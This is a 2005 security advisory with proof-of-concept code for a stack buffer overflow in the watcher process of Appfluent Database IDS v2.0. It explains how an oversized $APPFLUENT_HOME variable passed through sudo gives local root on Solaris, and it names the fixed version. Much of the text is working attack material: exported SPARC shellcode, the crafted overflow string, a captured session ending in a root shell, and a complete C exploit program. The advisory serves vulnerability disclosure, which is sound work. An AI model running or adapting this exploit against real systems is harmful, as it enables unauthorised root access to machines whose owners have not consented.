Appfluent Batabase IDS Local Root

[c0ntex <c0ntexb () gmail com>]

 /*
  *****************************************************************************************************************
  $ An open security advisory #14 - Appfluent Database IDS Environment
Variable Overflow
  *****************************************************************************************************************
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+- www.open-security.org
  2: Bug Released: December 07th 2005
  3: Bug Impact Rate: Hi
  4: Bug Scope Rate: Local root
  *****************************************************************************************************************
  $ This advisory and/or proof of concept code must not be used for
commercial gain.
  *****************************************************************************************************************

  Appfluent Database IDS v2.0
  http://www.appfluent.com

  "Appfluent Technology is the leading provider of data usage and
query performance software designed to
  help IT organizations improve performance of Business Intelligence
(BI) and enterprise applications,
  reduce the number of databases they maintain and quickly deploy new
applications. Appfluent provides a
  suite of products that clean up and consolidate databases, optimize
query performance based on usage,
  and rapidly analyze applications for both test and production environments."

  Appfluent provide a Database IDS system that monitors all SQL
traffic in real time, logging every user
  defined transaction to a database, providing an audit trail of all
transactions that take place. There
  are several processes that ecumulate together to provide the IDS
solution, including watcher, analyser,
  alerter and reporter.


  There is a stack based buffer overflow in all binaries that allow
for some malicious attacker to gain
  unauthorised code execution on the system where the application is
installed. Due to incorrect use of
  strcpy(), and a lack of correct bounds checking, a user can
manipulate the $APPFLUENT_HOME environment
  variable to overflow the stack buffer.

  The problem is specific to the watcher process, as it needs to be
run as root due to the fact that it
  sniffs all traffic going to an interface. A script installed in
$APPFLUENT_HOME/server_oracle/bin is
  supplied so that administrators can run the process via sudo.


  When run with sudo, we are provided a vector for root compromise as
a default sudo install on Solaris
  (this example) and other operating systems honour the setting of
environment variables. As such, when
  an attacker crafts $APPFLUENT_HOME in a malicious manner and runs
the watcher process, root access to
  the system is gained.


  There are a few requirements that need to be met for the attack to
be successful, and they include:

        1) User is in the sudoers file and is defined as able to run the
watcher process
        2) Sudo honours environment variables, meaning env_reset or the likes
is not set

  Please note that users must set, or have $APPFLUENT_HOME set for the
product to work, and if the above
  two requirements are met, an attacker is guaranteed to gain
unauthorised root access to the system.


  Appfluent have released a fix and is provided in the latest version
of the product => Ver: 2.1.0.103


  ###
  ## Proof run with a default sudo install from sunfreeware.
  ###
  [c0ntex@ ~/vuln]$ export SHELLCODE=`printf
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
  \x90\x90\x82\x10\x20\x18\x91\xd0\x20\x08\x90\x02\x60\x01\x90\x22\x20\x01\x92\x10\x3f
  \xff\x82\x10\x20\xca\x91\xd0\x20\x08\x82\x10\x20\x2f\x91\xd0\x20\x08\x90\x02\x60\x01
  \x90\x22\x20\x01\x92\x10\x3f\xff\x82\x10\x20\xcb\x91\xd0\x20\x08\x94\x1a\x80\x0a\x21
  \x0b\xd5\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23
  \xbf\xf8\xe0\x23\xbf\xf4\x90\x23\xa0\x0c\xd4\x23\xbf\xfd\xd0\x23\xbf\xec\x92\x23\xa0
  \x14\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08"`
  [c0ntex@ ~/vuln]$ export APPFLUENT_HOME=`perl -e 'print "A" x
576'``printf "\xff\xbe
  \xfa\xd0\xff\xbe\xfa\xd0"`
  [c0ntex@ ~/vuln]$ sudo /tmp/watch/watcher -sc
  Password:
  Version: 2.0.0.103
  do_process: Exception:
    file: file_stream.cpp
    line: 338
    message: FileStream: fopen :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÿ¾úÐÿ¾úÐ/oracle
  /config/config : 78 : File name too long
    code: 78
    stack:
  #0  void IC::ConfigFile::load(IC::StrP) at config_file.cpp:35
  #1  virtual void IC::ServerConfig::load() at
/home/ask/lab/v2_0/app/product/server/l
  ib/libserverconfig/server_config.cpp:70
  #2  virtual void IC::Watch::run(bool, bool) at
/home/ask/lab/v2_0/app/product/server
  /lib/libwatch/watch.cpp:41
  #3  int do_process(bool) at
/home/ask/lab/v2_0/app/product/server/bin/watch/do_proce
  ss.cpp:21

  #
  #
  # uname -a
  SunOS  5.8 Generic_117350-24 sun4u sparc SUNW,UltraAX-i2
  #
  # id -a
  uid=0(root) gid=1(other)
groups=1(other),0(root),2(bin),3(sys),4(adm),5(uucp),6(mail
  ),7(tty),8(lp),9(nuucp),12(daemon)
  #

  Greetings to everyone I know  ;-)

 */


  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>

  #define DAHBUF   591
  #define NOP      0x90
  #define SUDO     "/usr/local/bin/sudo"
  #define VULN     "watcher"
  #define WOPT     "-sc"

  char shellcode[] =
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
                    
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
                     "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

  char retloc[] = "\xff\xbe\xfd\xe9";
  char retlok[] = "\xff\xbe\xfd\xed";

  int main()
  {
        char env[DAHBUF+9];

        puts("\nLocal root proof of concept for Appfluent IDS Watcher
environment overflow");
        puts("found and developed by c0ntex || c0ntexb () gmail com ||
www.open-security.org\n");

        memset(env, NOP, DAHBUF);

        memcpy(env + 100, shellcode, strlen(shellcode));
        memcpy(env + DAHBUF, retloc, strlen(retloc));
        memcpy(env + DAHBUF + 4, retlok, strlen(retlok));
        env[DAHBUF+9] = '\0';

        strncpy(&env[0], "APPFLUENT_HOME=", 15);

        if(!env) {
             puts("barfed!");
             return(EXIT_FAILURE);
        }

        putenv(env);

        if(execl(SUDO, SUDO, VULN, WOPT, NULL) < 0) {
             perror("execle");
             return(EXIT_FAILURE);
        }

        return(EXIT_SUCCESS);
  }
--

regards
c0ntex
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